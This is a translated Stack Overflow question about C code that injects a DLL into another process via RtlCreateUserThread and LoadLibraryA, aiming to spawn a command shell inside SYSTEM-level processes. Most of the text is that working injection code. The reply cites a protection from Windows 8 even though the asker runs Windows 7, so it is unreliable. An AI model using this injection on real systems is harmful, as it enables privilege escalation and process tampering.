【问题标题】:Dll injection with RltCreateUserThread使用 RltCreateUserThread 注入 Dll
【发布时间】:2023-03-27 04:59:01
【问题描述】:

我已经编写了一个注入 dll 的程序。 我正在使用 RltCreateUserThread。有人可以告诉我我在这里做错了什么。我能够在进程中注入 dll,但是注入的 dll 在注入到与我当前权限相同的进程时会生成一个 cmd shell,但是当我将它们注入到系统/本地服务帐户进程中时,它不会生成一个 shell。我正在使用来自 ReactOS 的 Didier Stevens 站点的 cmd.dll。我正在尝试从 Windows 7 32 位执行此操作。

#include <Windows.h>
#include <stdio.h>
#include <stdbool.h>


typedef struct _CLIENT_ID
  {
    PVOID UniqueProcess;
    PVOID UniqueThread;
  } CLIENT_ID, *PCLIENT_ID;

typedef long (*_RtlCreateUserThread)(HANDLE,
    PSECURITY_DESCRIPTOR,
    BOOLEAN,ULONG,
    PULONG,PULONG,
    PVOID,PVOID,
    PHANDLE,PCLIENT_ID);

_RtlCreateUserThread RtlCreateUserThread;

int main(){
    HANDLE hThd, hModule;
    CLIENT_ID cid;
    DWORD pid;
    char * dll="cmd.dll";


HMODULE ntdll=LoadLibrary("ntdll.dll");
HMODULE k32=LoadLibrary("kernel32.dll");

RtlCreateUserThread=GetProcAddress(ntdll,"RtlCreateUserThread");
printf( "Enter pid :");
scanf("%u", &pid);

LUID luid;
HANDLE token_handle;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid);
TOKEN_PRIVILEGES tp;
tp.Privileges[0].Luid=luid;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
tp.PrivilegeCount=1;
OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token_handle);
AdjustTokenPrivileges(token_handle,false,&tp,sizeof(tp),NULL,NULL);



HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
LPVOID vaex=VirtualAllocEx(hProc,NULL,strlen(dll) + 1,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc,vaex,dll,strlen(dll),NULL);
RtlCreateUserThread(hProc,NULL,false,0,0,0,(PVOID)GetProcAddress(k32,"LoadLibraryA"),vaex,&hThd,&cid);
WaitForSingleObject(hThd,INFINITE);

CloseHandle(hThd);
CloseHandle(hProc);

FreeLibrary(k32);
FreeLibrary(ntdll);

return 0;
}

谢谢, 拉贾。

【问题讨论】:

    标签: dll-injection


    【解决方案1】:

    您不能注入到具有 Protected Process Light 保护的系统进程中。

    阅读Evolution of PPLPPL Killer

    这是自 Windows 8/8.1 以来的新保护机制

    【讨论】:

      猜你喜欢
      • 2014-05-10
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2018-05-19
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多